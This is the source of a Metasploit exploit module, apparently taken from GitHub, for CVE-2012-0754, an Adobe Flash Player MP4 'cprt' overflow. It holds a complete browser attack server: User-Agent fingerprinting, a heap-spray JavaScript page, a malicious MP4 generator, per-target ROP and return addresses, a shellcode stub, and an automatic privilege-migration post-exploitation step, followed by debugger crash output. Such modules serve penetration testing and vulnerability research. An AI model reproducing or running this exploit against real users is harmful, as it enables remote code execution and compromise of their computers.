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6300758 Jul 24, 2017
@tabassassin @neinwechter
320 lines (277 sloc) 9.38 KB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::Match::WINDOWS,
:method => "GetVariable",
:classid => "ShockwaveFlash.ShockwaveFlash",
:rank => NormalRanking, # reliable memory corruption
:javascript => true
})
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player MP4 'cprt' Overflow",
'Description' => %q{
This module exploits a vulnerability found in Adobe Flash
Player. By supplying a corrupt .mp4 file loaded by Flash, it
is possible to gain arbitrary remote code execution under the
context of the user.
This vulnerability has been exploited in the wild as part of
the "Iran's Oil and Nuclear Situation.doc" e-mail attack.
According to the advisory, 10.3.183.15 and 11.x before
11.1.102.62 are affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', # Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0754' ],
[ 'OSVDB', '79300'],
[ 'BID', '52034' ],
[ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ]
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
# Flash Player 11.1.102.55
# Flash Player 10.3.183.10
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil,
'Offset' => '0x800 - code.length',
'Ret' => 0x0c0c0c0c
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil,
'Offset' => '0x800 - code.length',
'Ret' => 0x0c0c0c0c
}
],
[
'IE 8 on Windows XP SP3 with msvcrt ROP',
{
'Rop' => :msvcrt,
'Offset' => '0x5f4',
'Ret' => 0x77c15ed5,
'ppr' => 0x77C1CAFB
}
],
[
'IE 8 on Windows XP SP3 with JRE ROP',
{
'Rop' => :jre,
'Offset' => '0x5f4',
'Ret' => 0x77c15ed5,
'ppr' => 0x77C1CAFB
}
],
[
'IE 7 on Windows Vista',
{
'Rop' => nil,
'Offset' => '0x5f4',
'Ret' => 0x0c0c0c0c
}
],
[
'IE 8 on Windows 7 SP1',
{
'Rop' => :jre,
'Offset' => '0x5f4',
'Ret' => 0x7c348b05,
'ppr' => 0x7c34272e
}
]
],
'Privileged' => false,
'DisclosureDate' => "Feb 15 2012",
'DefaultTarget' => 0))
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def get_payload(t, cli)
if t['Rop'].nil?
code = ""
else
#Fix the stack to avoid anything busted
code = "\x81\xC4\x54\xF2\xFF\xFF"
end
code << payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
rop_name = (t['Rop'] and t['Rop'] == :msvcrt) ? 'msvcrt' : 'java'
rop_target = (rop_name == 'msvcrt') ? 'xp' : ''
pivot = [t['ppr']].pack('V*') #POP/POP/RET
pivot << [junk].pack('V*')
pivot << [t.ret].pack('V*')
code = generate_rop_payload(rop_name, code, {'target'=>rop_target})
return code
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[5] #IE 7 on Windows Vista
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
return targets[6] #IE 8 on Windows Vista SP1 with JRE
else
return nil
end
end
def primer
# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
hardcoded_uripath("/test.mp4")
end
def exploit
@swf = create_swf
super
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end
print_status("Client requesting: #{request.uri}")
# The SWF requests our MP4 trigger
if request.uri =~ /\.mp4$/
print_status("Sending MP4...")
mp4 = create_mp4(my_target)
send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
return
end
if request.uri =~ /\.swf$/
print_status("Sending Exploit SWF")
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end
p = get_payload(my_target, cli)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js_pivot = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
heap_obj.debug(true);
for (var i=1; i < 0x1C2; i++) {
heap_obj.alloc(block);
}
heap_obj.debug(true);
JS
js_pivot = heaplib(js_pivot, {:noobfu => true})
swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"
html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="test" width="1" height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{swf_uri}" />
<embed src="#{swf_uri}" quality="high"
width="1" height="1" name="test" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</object>
</center>
</body>
</html>
|
html = html.gsub(/^ {4}/, '')
print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0754.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end
def create_mp4(target)
mp4 = ""
mp4 << "\x00\x00\x00\x18"
mp4 << "ftypmp42"
mp4 << "\x00\x00\x00\x00"
mp4 << "mp42isom"
mp4 << "\x00\x00\x00\x0D"
mp4 << "cprt"
mp4 << "\x00\xFF\xFF\xFF"
mp4 << "\x00\x00\x00\x00"
mp4 << "\x0c\x0c\x0c\x0c" * 2586
return mp4
end
end
=begin
C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx
(4b4.1d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00000000 ecx=0308b1a0 edx=00000004 esi=0308b1a0 edi=00000001
eip=027a2626 esp=0377fec0 ebp=0377ff0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx -
Flash11e+0x52626:
027a2626 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????
C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx
(510.9b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -
Flash10x+0x48b65:
10048b65 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????
=end